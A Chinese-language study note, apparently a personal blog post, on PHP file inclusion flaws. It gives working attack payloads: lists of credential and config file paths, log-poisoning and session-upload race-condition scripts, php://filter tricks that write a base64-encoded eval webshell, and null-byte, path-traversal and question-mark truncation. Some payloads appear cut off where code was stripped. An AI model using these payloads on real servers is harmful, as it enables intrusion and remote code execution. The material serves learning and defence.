什么是文件包含

简单来说就是为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件,然后就可以直接利用被包含文件内的代码了,包括变量、方法、类等等。

动态包含

在使用文件包含的时候,为了更灵活的包含文件,将文件包含的名字处设置为变量,而这个变量是通过GET方式来获取的值,这样既可通过前端所输入的文件名进行包含对应的文件。

什么是文件包含漏洞

如动态包含所说,如果为了方便,采取动态包含的方式,那么恶意用户就有可能通过将值改变为恶意的文件,这样就会让后端执行恶意的文件。

若恶意用户构造文件名为本地的敏感信息,而后端并没有对敏感信息限制读取权限限制,则可能造成文件包含漏洞,导致任意文件读取。

若恶意用户构造文件名为远程的文件包含,那么这个被包含的文件为hack构造的恶意代码,而后端没有对这个代码进行检测,则可能造成恶意代码执行。

php引发文件包含漏洞的函数

include():包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

require():包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

include_once():和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

require_once():和 require 类似,不同处在于 require_once 只导入一次
还有一些其他的:
fopen()
readfile()

文件包含漏洞

本地文件包含漏洞

大部分都属于本地文件包含漏洞,我们可以通过文件包含获取页面的源码,获取一些敏感文件等。

详情可见DVWA

文件上传与文件包含组合拳

这个也可以用DVWA实验

包含敏感文件获取服务器信息

这个要积累一些路径,服务器大部分是linux下的,我们可以通过看自己的虚拟机文件系统来找一些常见的配置文件或敏感文件的默认位置。

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

包含日志文件

比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

包含日志一句话

日志会记录客户端请求及服务器响应的信息,访问http://xxx.xxx.xxx.xxx/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,用webshell工具连接即可

个人感觉其实这里最好是用请求头内的内容向日志文件里传PHP代码,在URL中直接写的话很容易就会出现被URL编码二无法解析的现象。

http://localhost/include/file.php?file=../../apache/logs/access.log

日志默认路径

apache+Linux日志默认路径

/etc/httpd/logs/access_log/var/log/httpd/access_log

apache+win2003日志默认路径

D:xamppapachelogsaccess.log
D:xamppapachelogserror.log

IIS6.0+win2003默认日志文件

C:WINDOWSsystem32Logfiles

IIS7.0+win2003 默认日志文件

%SystemDrive%inetpublogsLogFiles

nginx 日志文件在用户安装目录的logs目录下

如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里

也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

利用session.upload_progress进行文件包含利用

<?php
$b=$_GET['file'];
include "$b";
?>

假设现在有如上代码,我们可以很轻易得发现这里存在一个文件包含漏洞,但是我们找不到一个可以包含的恶意文件。这个时候,我们就可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

PHP session的存储

PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

image.png

几个默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

关于session的php选项

image.png

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会 自动初始化Session ,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

像上面那串代码,虽然代码里没有session_start(),但其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=xxx,PHP将会在服务器上创建一个文件:/tmp/sess_xxx”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由 ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

条件竞争

通常情况下,给你开个auto就是开了路子了,清空肯定是存在的,这个时候我们就需要利用条件竞争,在session文件内容清空前进行包含利用。

python脚本

import io
import requests
import threading

sessid = 'whoami'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功写入sess_whoami")

或者开两个BP的Intruder一个发包一个读

https://xz.aliyun.com/t/9545

远程文件包含漏洞

是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。
但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置

allow_url_fopen=On
allow_url_include=On

这样就有可能可以包含远程的文件并执行

PHP伪协议

重点

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

我们进行一些实验,来学习其中几种常用的伪协议的相关使用。

先很随意的写一个include.php:

<?PHP
phpinfo(); //这里是为了看allow_url_fopen和allow_url_include
include($_GET['file']);
?>

file伪协议

通过这个协议可以对系统中的文件进行包含,不过一定要是绝对路径

image.png

http伪协议

远程文件包含咯

image.png

php伪协议

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器

  1. php://input

    用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

    条件:

    php <5.0 ,allow_url_include=Off 情况下也可以用

    php > 5.0,只有在allow_url_fopen=On 时才能使用

    示例:

    GET: http://localhost/include/file.php?file=php://input
    POST: ") ?>

    这样我们就成功的把phpinfo();写了上去,这里fopen的参数为a是增加的意思,如果我们改为w,我们就可以直接写一个新的文件
    我们还可以利用PHP代码直接执行系统命令

    GET: http://localhost/include/file.php?file=php://input
    POST: 

    image.png

  2. php://filter

    php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
    php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
    php://filter 参数

    名称 描述
    resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
    read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(\|)分隔。
    write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(\|)分隔。
    <;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

    过滤器见这里
    比较常用的就convert.base64-encode
    直接读源码会被解析,就要使用?file=php://filter/convert.base64-encode/resource=flag.php这样利用过滤器的读取操作。当然大部分时候是这样写的?file=php://filter/read=convert.base64-encode/resource=flag.phpd读链

    进阶利用

    利用filter伪协议绕过死亡之die、死亡之exit

    ".$content);

    这几行代码允许我们写入文件,但是当我们写入文件的时候会在我们写的字符串前添加exit的命令。这样导致我们即使写入了一句话木马,依然是执行不了一句话的。
    分析这几行代码,一共需要我们传两个参数,一个是POST请求的 content ,另一个是GET请求的 filename ,而对于GET请求中的filename变量,我们是可以通过php://filter伪协议来控制的,在前面有提到,最常见的方法是使用base64的方法将content解码后传入。

    base64编码绕过:

    假设我们先随便传入一句话木马:

    ?filename=php://filter/convert.base64-decode/resource=1.php
    POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

    这个时候我们打开1.php文件:
    image.png
    可以发现里面是一堆乱码,原因是不仅我们的加密后的一句话木马进行了base64解码,而且前面的死亡之exit也进行了解码。
    我们仔细分析一下死亡之exit的代码

    base64编码中只包含64个可打印字符,而当PHP在解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。
    例如:

    得到结果:Lxxx
    如果我们在str变量中添加一些不可见的字符或者是 不可解码字符 (\x00,?)

    得到的结果仍然为:Lxxx
    因此,对于死亡之exit中的代码,字符<、?、;、>、空格等字符不符合base64解码范围。最终解码符合要求的只有phpexit这7个字符,而base64在解码的时候,是4个字节一组,因此还少一个,所以我们将这一个手动添加上去。
    传payload如下:

    ?filename=php://filter/convert.base64-decode/resource=2.php
    POSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

    content中第一个字符a就是我们添加的
    这个时候我们查看1.php的内容就已经成功写入了一句话木马了

    rot13编码绕过:

    除了使用base64编码绕过,我们还可以使用rot13编码绕过。相比base64编码,rot13的绕过死亡之exit更加方便,因为不用考虑前面添加的内容是否可以用base64解码,也不需要计算可base64解码的字符数量。
    同样的还是上面的示例代码:

    ".$content);

    传payload:

    ?filename=php://filter/string.rot13/resource=1.php
    POSTDATA: content=

    打开1.php文件:
    image.png
    可以看到,一句话木马也成功写入了。
    虽然rot13更加的方便,但是还是有缺点,就是当服务器开启了短标签解析,一句话木马即使写入了,也不会被PHP解析。

    多种过滤器绕过:

    再仔细观察死亡之exit的代码:

    可以看到死亡之exit的代码其实本质上是XML标签,因此我们可以使用strip_tags函数除去该XML标签
    并且,filter协议允许我们使用多种过滤器,所以我们还是针对上面的实例代码:

    ".$content);

    传payload如下:

    ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php
    POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

    即可

data伪协议

data伪协议的一些格式:

data://,<文本数据>
data://text/plain,<文本数据>
data://text/html,<html代码>
data://text/css,<CSS代码>
data://text/javascript,<js代码>
data://text/gif;base64,<base64编码的gif图片数据>
//还有png,jpeg等格式的数据都是这个格式去写,改下后面就好了,如果要对数据进行base64编码,就在类型后面加上;base64,就好了

主要用于数据流的读取,如果传入的数据是 PHP 代码,就会执行代码。

常见的使用方式data://text/plain;base64,base64-encode(poc),poc内base64加密的poc就会执行,注意等号有时会被过滤,去掉即可。

简单绕过

00字符截断(PHP<5.3.4)

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

../etc/passwd

通过web输入时,只需UrlEncode,变成:

../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧

超长字符截断

采用00字符过滤并没有完全解决问题,

利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

而利用"./"的方式即可构造出超长目录字符串:

除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()

目录穿梭/遍历

除了这种攻击方式,还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

问号截断

如果路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

攻击者可以构造类似如下的攻击URL:

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

产生的原理:

/?path=http://localhost/test/solution.php?

最终目标应用程序代码实际上执行了:

require_once "http://localhost/test/solution.php?/action/m_share.php";

(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)

总结:

感觉上文件包含和SSRF是有一定的关系的,最近要把SSRF也打完学完,还有经常配使用的文件上传,这是第一次路径不那么清晰的重学一个洞,算是弥补了自己入门时期学得草草率率的一个部分。

参考链接:

https://www.freebuf.com/articles/web/291633.html

https://xz.aliyun.com/t/9545#toc-5

https://www.freebuf.com/vuls/202819.html

https://www.jianshu.com/p/2fce6931dd06


重为轻根,静为躁君。